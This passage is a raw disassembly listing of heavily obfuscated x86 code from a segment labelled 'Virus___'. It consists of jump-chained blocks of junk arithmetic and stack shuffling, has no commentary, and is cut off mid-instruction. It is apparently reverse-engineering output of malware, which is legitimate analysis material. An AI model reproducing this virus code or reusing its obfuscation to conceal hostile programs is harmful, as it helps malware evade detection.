loc_57DB58: ; CODE XREF: Virus___:0057B3EAj not eax jmp loc_57AC40 ; --------------------------------------------------------------------------- loc_57DB5F: ; CODE XREF: Virus___:00579286j sub edx, ebx pop ebx xchg edx, [esp] mov esp, [esp] mov [esp], ax jmp loc_57B54C ; --------------------------------------------------------------------------- loc_57DB71: ; CODE XREF: Virus___:0057C747j sub ebx, 74321CF8h jmp loc_57694A ; --------------------------------------------------------------------------- loc_57DB7C: ; CODE XREF: Virus___:0057A26Bj push ebx jmp loc_5796B2 ; --------------------------------------------------------------------------- loc_57DB82: ; CODE XREF: Virus___:0057350Cj mov edx, 2 push edx mov edx, 70A30CEh sub edx, 290A02BAh shl edx, 1 shl edx, 1 jmp loc_57B6BA ; --------------------------------------------------------------------------- push dword ptr [edi+40h] jmp loc_577354 ; --------------------------------------------------------------------------- loc_57DBA4: ; CODE XREF: Virus___:0057D9ECj pop esi xchg edi, [esp] mov esp, [esp] mov [esp], ecx jmp loc_579989 ; --------------------------------------------------------------------------- loc_57DBB3: ; CODE XREF: Virus___:005748F4j mov [esp], edi mov edi, 4 add eax, edi pop edi xchg eax, [esp] mov esp, [esp] push ebx mov ebx, 40h push ecx mov ecx, 1AE10E43h add ecx, 45EA5317h not ecx or ecx, 13DC541Fh inc ecx sub ecx, 79B34F63h xor ecx, 3BD78AA5h sub ebx, ecx pop ecx add ebx, 2A47018Dh add ebx, 2EE3597Eh jmp loc_57A721 ; --------------------------------------------------------------------------- db 5Ah dd 0E580CDFEh, 4E5C03Eh, 0FFEBAEE9h db 0FFh ; --------------------------------------------------------------------------- loc_57DC0D: ; CODE XREF: Virus___:0057B4FDj mov esi, 27B36B87h dec esi jmp loc_577956 ; --------------------------------------------------------------------------- loc_57DC18: ; CODE XREF: Virus___:0057A0B5j mov edi, 651E3C93h push ebx mov ebx, 752B5233h xor ebx, 6404049Bh shl ebx, 2 sub ebx, 763268h jmp loc_578173 ; --------------------------------------------------------------------------- loc_57DC37: ; CODE XREF: Virus___:0057E047j mov [esp], edi push esp pop edi push ebx jmp loc_57BB96 ; --------------------------------------------------------------------------- loc_57DC42: ; CODE XREF: Virus___:0057CFD5j not edx jmp loc_57CF47 ; --------------------------------------------------------------------------- loc_57DC49: ; CODE XREF: Virus___:005742E1j mov al, 9Dh shl al, 1 push ebx mov bh, 44h sub bh, 0A9h xor al, bh pop ebx sub dl, al pop eax add dl, 96h or bh, dl pop edx sub bh, 44h add al, 44h sub al, bh sub al, 44h pop ebx push dx sub esp, 4 mov [esp], ecx mov cl, 8Eh push ebx mov bh, cl mov dl, bh jmp loc_57EFA8 ; --------------------------------------------------------------------------- loc_57DC80: ; CODE XREF: Virus___:00574B18j pop edx add esi, ebx pop ebx push 238Bh mov [esp], ecx mov ecx, 4 jmp loc_57AB8E ; --------------------------------------------------------------------------- loc_57DC96: ; CODE XREF: Virus___:00574B52j push ebp sub esp, 4 mov [esp], ebx mov ebx, 773D0B1Dh push eax mov eax, 41576C01h xor eax, 130475DEh jmp loc_57CE7C ; --------------------------------------------------------------------------- loc_57DCB5: ; CODE XREF: Virus___:00574380j mov ecx, esp add ecx, 4 jmp loc_57C7C5 ; --------------------------------------------------------------------------- loc_57DCC2: ; CODE XREF: Virus___:005783CBj sub ebp, 0F907E68Ah jmp loc_57448F ; --------------------------------------------------------------------------- loc_57DCCD: ; CODE XREF: Virus___:00579F36j push ebp sub esp, 4 mov [esp], esp sub esp, 4 mov [esp], eax mov eax, 314F3EE4h shr eax, 1 and eax, 43281D7Ah shl eax, 8 dec eax shr eax, 2 sub eax, 8075C7Bh add [esp+4], eax pop eax mov ebp, [esp] push ebp jmp loc_57CFF8 ; --------------------------------------------------------------------------- sub esp, 4 mov [esp], esi push 4297h jmp loc_573511 ; --------------------------------------------------------------------------- loc_57DD13: ; CODE XREF: Virus___:0057A65Ej sub eax, 0D301F8A4h jmp loc_57AC0B ; --------------------------------------------------------------------------- loc_57DD1D: ; CODE XREF: Virus___:0057EDEDj mov ecx, [esp] jmp loc_57B2A5 ; --------------------------------------------------------------------------- loc_57DD25: ; CODE XREF: Virus___:0057DD91j pop small word ptr [eax] jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57DD2D: ; CODE XREF: Virus___:00576D40j xor edx, 4375764Dh sub edx, 7CA92ECEh jmp loc_575883 ; --------------------------------------------------------------------------- mov ax, [esp] push esi push esp pop esi push ebx mov ebx, 667902E8h not ebx or ebx, 42964B3Ch and ebx, 4F660738h push eax mov eax, 1F8E22DBh or eax, 75B80755h sub eax, 6DB62C16h or eax, 0C062E99h neg eax xor eax, esi xor esi, eax xor eax, esi not esi jmp loc_57A65D ; --------------------------------------------------------------------------- loc_57DD7D: ; CODE XREF: Virus___:00574B00j mov [esp], ebp inc dword ptr [esp] pop ebp push 1A8Ch jmp loc_575B9D ; --------------------------------------------------------------------------- loc_57DD8E: ; CODE XREF: Virus___:0057567Cj sub ebx, eax pop eax jmp loc_57DD25 ; --------------------------------------------------------------------------- loc_57DD96: ; CODE XREF: Virus___:0057EF21j add ecx, 4 add ecx, 4 xchg ecx, [esp] mov esp, [esp] add eax, 4A8E61BBh sub eax, ebx sub eax, 4A8E61BBh push 771Ch mov [esp], edx mov edx, 77DC4ADEh jmp loc_57BFE1 ; --------------------------------------------------------------------------- loc_57DDC6: ; CODE XREF: Virus___:00575BDEj push 0B1Ch mov [esp], edx push 2B5Fh jmp loc_57A642 ; --------------------------------------------------------------------------- loc_57DDD8: ; CODE XREF: Virus___:0057644Aj add edx, edi pop edi xor edx, [esp] xor [esp], edx jmp loc_575665 ; --------------------------------------------------------------------------- sub esp, 4 mov [esp], ebx mov ebx, 1E7F6874h jmp loc_575701 ; --------------------------------------------------------------------------- loc_57DDF6: ; CODE XREF: Virus___:00575842j jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57DDFB: ; CODE XREF: Virus___:0057B089j sub ebp, 5D555866h dec ebp jmp loc_57DF97 ; --------------------------------------------------------------------------- loc_57DE07: ; CODE XREF: Virus___:00577E48j mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_57C511 ; --------------------------------------------------------------------------- loc_57DE1A: ; CODE XREF: Virus___:00577A8Dj add ebx, 28DB335Dh mov edx, [esp] add esp, 4 push ebp sub esp, 4 mov [esp], eax jmp loc_57AE56 ; --------------------------------------------------------------------------- mov esp, [esp] jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57DE40: ; CODE XREF: Virus___:0057B1FCj mov bl, 8Dh sub al, bl mov ebx, [esp] add esp, 4 sub al, dh add al, 8Dh pop edx sub esp, 4 jmp loc_57ECB3 ; --------------------------------------------------------------------------- neg dword ptr [esp] pushf jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57DE63: ; CODE XREF: Virus___:0057E5DFj pop edx sub esi, 78376EFAh add esi, 15B13698h add esi, edx sub esi, 15B13698h add esi, 78376EFAh pop edx sub esp, 4 mov [esp], esi push dword ptr [esp+4] push dword ptr [esp] pop esi add esp, 4 pop dword ptr [esp] jmp loc_57B743 ; --------------------------------------------------------------------------- loc_57DE9B: ; CODE XREF: Virus___:0057E073j or ch, 5Ch not ch sub ch, 0CDh add ch, 7Eh add ch, 18h add bl, ch jmp loc_57AB95 ; --------------------------------------------------------------------------- loc_57DEB0: ; CODE XREF: Virus___:00578A0Dj div cx push edi push esp pop edi add edi, 4 jmp loc_579B11 ; --------------------------------------------------------------------------- loc_57DEC1: ; CODE XREF: Virus___:0057B2C5j pop edx push dx mov dh, 0EFh sub al, dh jmp loc_575633 ; --------------------------------------------------------------------------- loc_57DECD: ; CODE XREF: Virus___:00573F09j sub esp, 4 mov [esp], edi mov edi, 1F94287Ch sub edi, 1F94287Ah add eax, edi pop edi push eax push dword ptr [esp+4] jmp loc_5732F0 ; --------------------------------------------------------------------------- loc_57DEEE: ; CODE XREF: Virus___:00575277j pop edx pop edx jmp loc_5750EE ; --------------------------------------------------------------------------- loc_57DEF5: ; CODE XREF: Virus___:0057D4C6j add esp, 4 pop edx and ecx, ebp jmp loc_5740A5 ; --------------------------------------------------------------------------- loc_57DF00: ; CODE XREF: Virus___:0057ACB4j add ebx, ecx pop ecx xor ebx, [esp] xor [esp], ebx jmp loc_579752 ; --------------------------------------------------------------------------- loc_57DF0E: ; CODE XREF: Virus___:0057552Aj mov edi, 72954C56h xor edx, edi pop edi shl edx, 6 not edx jmp loc_5767E7 ; --------------------------------------------------------------------------- loc_57DF20: ; CODE XREF: Virus___:0057DA36j push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] shr eax, 0Bh jmp loc_57A30A ; --------------------------------------------------------------------------- loc_57DF33: ; CODE XREF: Virus___:0057A9C4j sub esp, 4 mov [esp], edi push 77780F55h pop edi add edi, 8887F0ADh mov edx, edi jmp loc_577773 ; --------------------------------------------------------------------------- loc_57DF4C: ; CODE XREF: Virus___:0057B6C2j add ecx, edx pop edx add ecx, edx sub ecx, 68095EF8h jmp loc_57EA9E ; --------------------------------------------------------------------------- loc_57DF5C: ; CODE XREF: Virus___:00575EB8j xor ebx, ebp jmp loc_5747E6 ; --------------------------------------------------------------------------- loc_57DF63: ; CODE XREF: Virus___:00577655j shl ecx, 6 jmp loc_576C38 ; --------------------------------------------------------------------------- loc_57DF6B: ; CODE XREF: Virus___:0057BC8Cj push dword ptr [esp] pop ebp push esi sub esp, 4 push esp pop dword ptr [esp] add dword ptr [esp], 4 pop esi add esi, 4 add esi, 4 jmp loc_57C590 ; --------------------------------------------------------------------------- loc_57DF8A: ; CODE XREF: Virus___:00576F76j mov ebp, 14860709h sub ebx, ebp pop ebp jmp loc_57ACD4 ; --------------------------------------------------------------------------- loc_57DF97: ; CODE XREF: Virus___:0057DE02j add ebp, 3BF6F8B4h jmp loc_575550 ; --------------------------------------------------------------------------- loc_57DFA2: ; CODE XREF: Virus___:00579F5Dj add esi, ecx pop ecx xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] push dword ptr [esp] pop ecx push ebp push 6B26h jmp loc_576AC6 ; --------------------------------------------------------------------------- loc_57DFC0: ; CODE XREF: Virus___:00579DB6j add esi, 4 add esi, 4 xchg esi, [esp] mov esp, [esp] jmp loc_576049 ; --------------------------------------------------------------------------- loc_57DFD4: ; CODE XREF: Virus___:0057A36Dj mov [esp], eax jmp loc_5796D7 ; --------------------------------------------------------------------------- loc_57DFDC: ; CODE XREF: Virus___:0057BF57j pop eax push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esp, [esp] mov [esp], eax push 760Fh mov [esp], eax mov eax, 0FFFFFFFFh jmp loc_57AF0B ; --------------------------------------------------------------------------- loc_57DFFE: ; CODE XREF: Virus___:0057C451j shr eax, 4 push esi jmp loc_576E22 ; --------------------------------------------------------------------------- loc_57E007: ; CODE XREF: Virus___:00572A04j push esp mov edx, [esp] add esp, 4 add edx, 4 sub edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp mov [esp], ecx mov cl, 0FEh sub esp, 4 mov [esp], edx jmp loc_57B62F ; --------------------------------------------------------------------------- loc_57E034: ; CODE XREF: Virus___:00573070j pop eax jmp loc_573DD1 ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_578383 ; --------------------------------------------------------------------------- loc_57E043: ; CODE XREF: Virus___:00577618j pop esp sub esp, 4 jmp loc_57DC37 ; --------------------------------------------------------------------------- loc_57E04C: ; CODE XREF: Virus___:0057C661j inc esi sub esi, 64C419Fh xor esi, 528AF9ECh add ebx, esi jmp loc_5754C4 ; --------------------------------------------------------------------------- loc_57E060: ; CODE XREF: Virus___:005741C6j pop ebx jmp loc_577D1A ; --------------------------------------------------------------------------- loc_57E066: ; CODE XREF: Virus___:0057B41Bj add eax, 51917634h jmp loc_577514 ; --------------------------------------------------------------------------- loc_57E070: ; CODE XREF: Virus___:00574966j and ch, ah pop eax jmp loc_57DE9B ; --------------------------------------------------------------------------- loc_57E078: ; CODE XREF: Virus___:0057E5E7j sub edi, 0AEF46031h mov edx, edi pop edi jmp loc_57BF3D ; --------------------------------------------------------------------------- loc_57E086: ; CODE XREF: Virus___:0057EB12j pop edi shl edx, 7 xor edx, 51D96EA2h xor ecx, edx pop edx add ecx, 648F6132h jmp loc_5757F3 ; --------------------------------------------------------------------------- loc_57E09E: ; CODE XREF: Virus___:005774EFj inc eax jmp loc_5778EF ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] pop eax push edi mov edi, esp add edi, 4 jmp loc_574356 ; --------------------------------------------------------------------------- loc_57E0B9: ; CODE XREF: Virus___:00576491j neg eax xor eax, 51D8BC27h jmp loc_57A031 ; --------------------------------------------------------------------------- loc_57E0C5: ; CODE XREF: Virus___:00572E22j add ecx, 4 xchg ecx, [esp] pop esp jmp loc_577BCE ; --------------------------------------------------------------------------- loc_57E0D1: ; CODE XREF: Virus___:0057801Aj mov bp, [esp] add esp, 2 xor bx, ax movzx eax, ax push small 5195h mov [esp], ax jmp loc_573797 ; --------------------------------------------------------------------------- loc_57E0EE: ; CODE XREF: Virus___:005765B5j sub eax, 682370AEh mov esi, [esp] push eax push esp pop eax add eax, 4 add eax, 4 jmp loc_57CEBF ; --------------------------------------------------------------------------- loc_57E108: ; CODE XREF: Virus___:0057659Cj xor edx, 6FFF6FE9h add ebx, 53117A1Ch jmp loc_576E39 ; --------------------------------------------------------------------------- loc_57E119: ; CODE XREF: Virus___:0057891Fj add ecx, 67D13DAAh push ecx jmp loc_573FC8 ; --------------------------------------------------------------------------- loc_57E125: ; CODE XREF: Virus___:00574558j mov [esp], ecx jmp loc_578FB2 ; --------------------------------------------------------------------------- loc_57E12D: ; CODE XREF: Virus___:0057A863j dec bh xor bh, 0E3h push ecx mov cl, 97h push 46C6h mov [esp], eax mov al, 60h add bh, al pop eax sub bh, 3Fh sub bh, 0DAh jmp loc_57A2B8 ; --------------------------------------------------------------------------- loc_57E14D: ; CODE XREF: Virus___:0057AB81j push dword ptr [ebx] push 59D7h mov [esp], edi mov edi, 24854E3Fh add [esp+4], edi mov edi, [esp] add esp, 4 mov ecx, [esp] add esp, 4 jmp loc_5749EA ; --------------------------------------------------------------------------- loc_57E174: ; CODE XREF: Virus___:0057EE4Aj pop esi push edx jmp loc_57C42A ; --------------------------------------------------------------------------- loc_57E17B: ; CODE XREF: Virus___:0057C2A9j pop ebp pop ebp push 48A8h mov [esp], eax jmp loc_57C93C ; --------------------------------------------------------------------------- loc_57E18A: ; CODE XREF: Virus___:00577011j or ecx, ecx jz loc_57D129 push 148Bh push esp jmp loc_57CF18 ; --------------------------------------------------------------------------- loc_57E19D: ; CODE XREF: Virus___:0057D241j mov edi, [esp] add esp, 4 sub [esp+4], ebp jmp loc_57EC2B ; --------------------------------------------------------------------------- loc_57E1AC: ; CODE XREF: Virus___:0057809Dj not eax xor eax, 5C855716h not eax xor eax, 35F063A9h add ecx, eax pop eax add ecx, 38560FF4h jmp loc_575A6C ; --------------------------------------------------------------------------- loc_57E1C8: ; CODE XREF: Virus___:0057C02Bj mov ebp, esi jmp loc_57BE76 ; --------------------------------------------------------------------------- loc_57E1CF: ; CODE XREF: Virus___:005798DEj add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push edi jmp loc_577CFB ; --------------------------------------------------------------------------- loc_57E1E5: ; CODE XREF: Virus___:00577B72j mov [esp], edx push ecx push 44A76439h pop ecx sub ecx, 0EFEC1DEAh mov edx, ecx mov ecx, [esp] add esp, 4 sub [esp+4], edx pop edx sub dword ptr [esp], 735A1ED6h add [esp], eax add dword ptr [esp], 735A1ED6h jmp loc_579325 ; --------------------------------------------------------------------------- loc_57E218: ; CODE XREF: Virus___:0057D912j mov [esp], edi push 4 pop edi add ecx, edi pop edi push esi mov esi, 2 sub ecx, esi pop esi xchg ecx, [esp] mov esp, [esp] mov [esp], bx push small word ptr [esp+2] pop bx pop small word ptr [esp] push bx jmp loc_579DBB ; --------------------------------------------------------------------------- loc_57E249: ; CODE XREF: Virus___:0057ECF4j sub esp, 4 mov [esp], ebx push edx mov dl, ah mov bh, dl pop edx push edx mov dl, bh mov ch, dl pop edx pop ebx pop eax pop ebx mov [edx], ch pop ecx jmp loc_5732F9 ; --------------------------------------------------------------------------- loc_57E266: ; CODE XREF: Virus___:0057652Fj sub bl, ah jmp loc_57619E ; --------------------------------------------------------------------------- loc_57E26D: ; CODE XREF: Virus___:0057C83Bj mov esi, 0AED0B98Fh jmp loc_57834C ; --------------------------------------------------------------------------- loc_57E277: ; CODE XREF: Virus___:00578CA4j add ebx, 4 xchg ebx, [esp] jmp loc_57DB3A ; --------------------------------------------------------------------------- loc_57E282: ; CODE XREF: Virus___:00577141j pop ecx push edx push dword ptr [esp+4] jmp loc_576996 ; --------------------------------------------------------------------------- loc_57E28D: ; CODE XREF: Virus___:00577347j pop edi jmp loc_574C44 ; --------------------------------------------------------------------------- loc_57E293: ; CODE XREF: Virus___:0057B80Aj pop eax add eax, 4 push edx mov edx, 4 add eax, edx pop edx jmp loc_57555B ; --------------------------------------------------------------------------- loc_57E2A7: ; CODE XREF: Virus___:0057484Dj mov [esp], ecx jmp loc_574C14 ; --------------------------------------------------------------------------- loc_57E2AF: ; CODE XREF: Virus___:0057EA6Cj dec edi sub edi, 0BC158613h jmp loc_57873E ; --------------------------------------------------------------------------- loc_57E2BB: ; CODE XREF: Virus___:0057A249j push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] loc_57E2C6: ; CODE XREF: Virus___:00573C4Fj ; Virus___:0057A414j push dword ptr [edi+24h] push eax mov eax, 3CDF59C2h xor [esp+4], eax mov eax, [esp] sub esp, 4 mov [esp], ebx jmp loc_577670 ; --------------------------------------------------------------------------- loc_57E2E1: ; CODE XREF: Virus___:0057BB9Bj add edi, ebx pop ebx add edi, 4 push 7A7Ch mov [esp], edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp push dword ptr [esp] mov eax, [esp] add esp, 4 jmp loc_576631 ; --------------------------------------------------------------------------- loc_57E309: ; CODE XREF: Virus___:00574A07j mov bl, ch mov dl, bl pop ebx jmp loc_57485E ; --------------------------------------------------------------------------- loc_57E313: ; CODE XREF: Virus___:005757FEj push eax mov eax, 0 add eax, edx mov ecx, [eax] pop eax jmp loc_5795F6 ; --------------------------------------------------------------------------- loc_57E323: ; CODE XREF: Virus___:00579C27j push 456Eh mov [esp], edx push esp pop edx add edx, 4 jmp loc_57EAAF ; --------------------------------------------------------------------------- loc_57E338: ; CODE XREF: Virus___:00578DF4j imul ecx, eax push ecx pushf jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57E342: ; CODE XREF: Virus___:00579ACAj pop dword ptr [esp] mov esp, [esp] or [esp], eax pushf jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57E351: ; CODE XREF: Virus___:0057EFA3j add eax, edx pop edx add eax, 6F363EEDh sub eax, ebx sub eax, 6F363EEDh jmp loc_578CA9 ; --------------------------------------------------------------------------- loc_57E365: ; CODE XREF: Virus___:0057C78Ej add eax, edx jmp loc_5757CF ; --------------------------------------------------------------------------- loc_57E36C: ; CODE XREF: Virus___:00575F8Aj mov ecx, [esp] jmp loc_57EACA ; --------------------------------------------------------------------------- loc_57E374: ; CODE XREF: Virus___:00574429j pop edi jmp loc_577D78 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] pop ecx push ebp jmp loc_5797B8 ; --------------------------------------------------------------------------- loc_57E387: ; CODE XREF: Virus___:0057CE02j xchg ebp, [esp] pop esp sub esp, 4 mov [esp], esi jmp loc_57C6F1 ; --------------------------------------------------------------------------- mov eax, [esp] push edx jmp loc_579210 ; --------------------------------------------------------------------------- loc_57E3A2: ; CODE XREF: Virus___:0057C318j or ebx, 82F5F2Dh shr ebx, 1 push ebp mov ebp, 5FC02420h xor ebp, 6A9447CCh add ebx, ebp pop ebp jmp loc_575674 ; --------------------------------------------------------------------------- loc_57E3BE: ; CODE XREF: Virus___:00572C0Fj sub esp, 4 mov [esp], ecx mov ecx, 145E3D1Ch inc ecx and ecx, 393B38B7h and ecx, 0D5A3591h sub ecx, 0BB0DF541h jmp loc_57AD21 ; --------------------------------------------------------------------------- loc_57E3E4: ; CODE XREF: Virus___:00579B72j add edx, esi sub edx, 3CC26ED3h pop esi jmp loc_573816 ; --------------------------------------------------------------------------- loc_57E3F2: ; CODE XREF: Virus___:0057342Aj mov esp, [esp] ror dword ptr [esp], cl pushf jmp loc_577797 ; --------------------------------------------------------------------------- loc_57E3FE: ; CODE XREF: Virus___:00573B24j mov ebp, [esp] jmp loc_57B0D1 ; --------------------------------------------------------------------------- loc_57E406: ; CODE XREF: Virus___:0057BDB1j sub esi, 4 jmp loc_578D50 ; --------------------------------------------------------------------------- loc_57E40E: ; CODE XREF: Virus___:0057507Cj push ecx mov ecx, 187D6458h not ecx or ecx, 1F01218Ch dec ecx dec ecx jmp loc_578253 ; --------------------------------------------------------------------------- loc_57E423: ; CODE XREF: Virus___:0057B8B1j pop esp mov cx, [esp] push 257h mov [esp], ebx mov ebx, esp jmp loc_57DA45 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] jmp loc_578399 ; --------------------------------------------------------------------------- loc_57E442: ; CODE XREF: Virus___:0057AA68j pop edi jmp loc_5742C4 ; --------------------------------------------------------------------------- loc_57E448: ; CODE XREF: Virus___:0057B17Dj mov [esp], ebp mov ebp, esp push esi mov esi, 4 add ebp, 5D2B7EACh add ebp, esi push eax push ebx mov ebx, 78DB781Ah jmp loc_5784BA ; --------------------------------------------------------------------------- loc_57E467: ; CODE XREF: Virus___:0057EC60j mov ebp, [esp] jmp loc_57BBF6 ; --------------------------------------------------------------------------- lodsd xor eax, ebx sub esp, 4 mov [esp], ebp mov ebp, 119C597Ch jmp loc_57B533 ; --------------------------------------------------------------------------- loc_57E482: ; CODE XREF: Virus___:00575F11j add esp, 4 shl ebx, 2 push 78CAh mov [esp], ebx xchg edi, [esp] not edi xchg edi, [esp] jmp loc_57A500 ; --------------------------------------------------------------------------- loc_57E4A0: ; CODE XREF: Virus___:00578F0Ej pop esp mov edx, 6647B48Eh jmp loc_576095 ; --------------------------------------------------------------------------- loc_57E4AB: ; CODE XREF: Virus___:0057EA99j and esi, 27EF31A8h sub esi, 6A22129Eh jmp loc_576E75 ; --------------------------------------------------------------------------- loc_57E4BC: ; CODE XREF: Virus___:005757CAj sub edi, 2 xchg edi, [esp] pop esp mov [esp], bp push ecx jmp loc_578EDB ; --------------------------------------------------------------------------- loc_57E4CD: ; CODE XREF: Virus___:0057A3A9j jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57E4D2: ; CODE XREF: Virus___:0057508Bj push ecx push ebp pop ecx pop ebp push ebp push ecx pop ebp pop ecx not ecx xchg ecx, ebp push 1DA1h jmp loc_576508 ; --------------------------------------------------------------------------- loc_57E4E8: ; CODE XREF: Virus___:0057453Dj add eax, 4 xchg eax, [esp] pop esp push dword ptr [esp] pop ebx add esp, 4 jmp loc_57CD47 ; --------------------------------------------------------------------------- loc_57E500: ; CODE XREF: Virus___:00576707j push dword ptr [esp+4] pop ebp pop dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 push 5535h mov [esp], ebp push esi jmp loc_576A6A ; --------------------------------------------------------------------------- loc_57E520: ; CODE XREF: Virus___:0057AE09j mov eax, 5EFA3FC0h jmp loc_57BD74 ; --------------------------------------------------------------------------- dw 8B66h dd 0E951240Ch, 0FFFFD859h ; --------------------------------------------------------------------------- loc_57E534: ; CODE XREF: Virus___:0057E74Aj mov esi, edx pop edx add esi, ebp mov ebp, [esp] push ebx push esp pop ebx add ebx, 4 push edx mov edx, 4 jmp loc_578A1C ; --------------------------------------------------------------------------- loc_57E550: ; CODE XREF: Virus___:00575057j mov esi, 71DA1689h sub edx, esi pop esi jmp loc_57A33E ; --------------------------------------------------------------------------- pop dword ptr fs:[edx] jmp loc_572D58 ; --------------------------------------------------------------------------- loc_57E565: ; CODE XREF: Virus___:0057799Fj mov esp, [esp] mov [esp], eax jmp loc_573497 ; --------------------------------------------------------------------------- loc_57E570: ; CODE XREF: Virus___:005765F4j mov [esp], ebx jmp loc_579522 ; --------------------------------------------------------------------------- loc_57E578: ; CODE XREF: Virus___:00575868j add esp, 4 jmp loc_57B158 ; --------------------------------------------------------------------------- loc_57E583: ; CODE XREF: Virus___:00575C13j add al, 34h jmp loc_576230 ; --------------------------------------------------------------------------- loc_57E58A: ; CODE XREF: Virus___:00572F47j add eax, 4 xchg eax, [esp] pop esp xchg edx, [esp] mov esp, [esp] or edx, eax jmp loc_57BB11 ; --------------------------------------------------------------------------- loc_57E59E: ; CODE XREF: Virus___:00573103j mov eax, 44FE5C98h xor eax, 26D812C9h xor ebp, eax pop eax sub ebp, 0FBD999CAh jmp loc_574E24 ; --------------------------------------------------------------------------- loc_57E5B6: ; CODE XREF: Virus___:005757EEj add bl, dh pop edx push dword ptr [esp] pop eax add esp, 4 jmp loc_57540F ; --------------------------------------------------------------------------- mov ax, [esp] push 2E3Ch mov [esp], esi mov esi, esp add esi, 4 push edx push 2 jmp loc_57DE63 ; --------------------------------------------------------------------------- loc_57E5E4: ; CODE XREF: Virus___:00575D80j shr edi, 5 jmp loc_57E078 ; --------------------------------------------------------------------------- loc_57E5EC: ; CODE XREF: Virus___:0057A711j add eax, ecx sub eax, 29BD0336h jmp loc_5789E9 ; --------------------------------------------------------------------------- loc_57E5F8: ; CODE XREF: Virus___:0057493Dj xor [esp], esi xor esi, [esp] jmp loc_57D21A ; --------------------------------------------------------------------------- loc_57E603: ; CODE XREF: Virus___:00576A65j jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57E608: ; CODE XREF: Virus___:0057AFCCj mov [esp], ebp mov ebp, 1CD02FEh xor ebp, 20BA62A1h shl ebp, 6 jmp loc_57D3ED ; --------------------------------------------------------------------------- loc_57E61E: ; CODE XREF: Virus___:00573D36j xchg ebp, [esp] mov esp, [esp] mov [esp], edi jmp loc_57358B ; --------------------------------------------------------------------------- loc_57E62C: ; CODE XREF: Virus___:00578436j add dword ptr [esp], 4 mov ebx, [esp] push edx jmp loc_57E9B9 ; --------------------------------------------------------------------------- loc_57E639: ; CODE XREF: Virus___:005764FDj add edi, 4 xchg edi, [esp] pop esp jmp loc_57CAD4 ; --------------------------------------------------------------------------- loc_57E648: ; CODE XREF: Virus___:0057933Cj xchg ebp, edx not ebp jmp loc_57D6E8 ; --------------------------------------------------------------------------- loc_57E651: ; CODE XREF: Virus___:0057BE0Dj or eax, eax jz loc_57BC0B push edx mov edx, esp push edi jmp loc_57D5FA ; --------------------------------------------------------------------------- loc_57E662: ; CODE XREF: Virus___:0057D350j dec ecx jmp loc_575EDE ; --------------------------------------------------------------------------- loc_57E668: ; CODE XREF: Virus___:0057A78Aj sub edi, ebx pop ebx pop edx retn ; --------------------------------------------------------------------------- jmp loc_578762 ; --------------------------------------------------------------------------- loc_57E672: ; CODE XREF: Virus___:005735B6j xchg ecx, [esp] pop esp mov [esp], edx mov edx, edi jmp loc_579709 ; --------------------------------------------------------------------------- loc_57E680: ; CODE XREF: Virus___:00579B0Cj jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57E685: ; CODE XREF: Virus___:0057AAE0j mov bx, [esp] push 1BE3h mov [esp], edx mov edx, esp push edi push esi push 3F950C8Dh pop esi push edi push eax mov eax, 710F2F12h mov edi, 0E0FB900Fh jmp loc_57C6D2 ; --------------------------------------------------------------------------- loc_57E6AC: ; CODE XREF: Virus___:00572C22j push ebp mov ebp, 3450339Ah and ebp, 544A6963h push edx jmp loc_57814A ; --------------------------------------------------------------------------- loc_57E6BE: ; CODE XREF: Virus___:005741BEj add bl, 49h mov edx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_57C5C3 ; --------------------------------------------------------------------------- loc_57E6D8: ; CODE XREF: Virus___:00572F16j sub ebx, 0AB0B12C8h add edi, ebx pop ebx push dword ptr [esp] pop eax push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_575847 ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_5733A8 ; --------------------------------------------------------------------------- loc_57E701: ; CODE XREF: Virus___:00578CD0j sub esp, 4 mov [esp], eax mov al, 74h add al, 1 shr al, 3 and al, 0E7h jmp loc_57C6A5 ; --------------------------------------------------------------------------- loc_57E718: ; CODE XREF: Virus___:0057F040j sub dl, 0FCh mov al, dl pop edx add al, 0C1h jmp loc_57302A ; --------------------------------------------------------------------------- loc_57E725: ; CODE XREF: Virus___:00577D6Bj add edi, esi mov esi, [esp] jmp loc_573E21 ; --------------------------------------------------------------------------- loc_57E72F: ; CODE XREF: Virus___:0057635Ej or esi, 72AF713Eh add esi, 7888365Fh sub edi, esi pop esi push edx jmp loc_57C33B ; --------------------------------------------------------------------------- loc_57E744: ; CODE XREF: Virus___:0057AABBj add edx, 0FF1D9596h jmp loc_57E534 ; --------------------------------------------------------------------------- loc_57E74F: ; CODE XREF: Virus___:0057A57Fj push ecx push edi push 2B5D5398h mov edi, [esp] add esp, 4 or edi, 27156380h add edi, 1374C517h mov ecx, edi jmp loc_57636F ; --------------------------------------------------------------------------- loc_57E76F: ; CODE XREF: Virus___:0057CBF3j push dword ptr [edi+eax*4] push 2267h jmp loc_57A358 ; --------------------------------------------------------------------------- loc_57E77C: ; CODE XREF: Virus___:0057991Ej shl ecx, 5 jmp loc_578ADD ; --------------------------------------------------------------------------- loc_57E784: ; CODE XREF: Virus___:00572F88j or bp, 7815h jmp loc_57D333 ; --------------------------------------------------------------------------- loc_57E78E: ; CODE XREF: Virus___:0057AC22j sub esi, 7BEE47D6h sub esi, ebx add esi, 7BEE47D6h pop ebx jmp loc_5753AE ; --------------------------------------------------------------------------- mov ax, 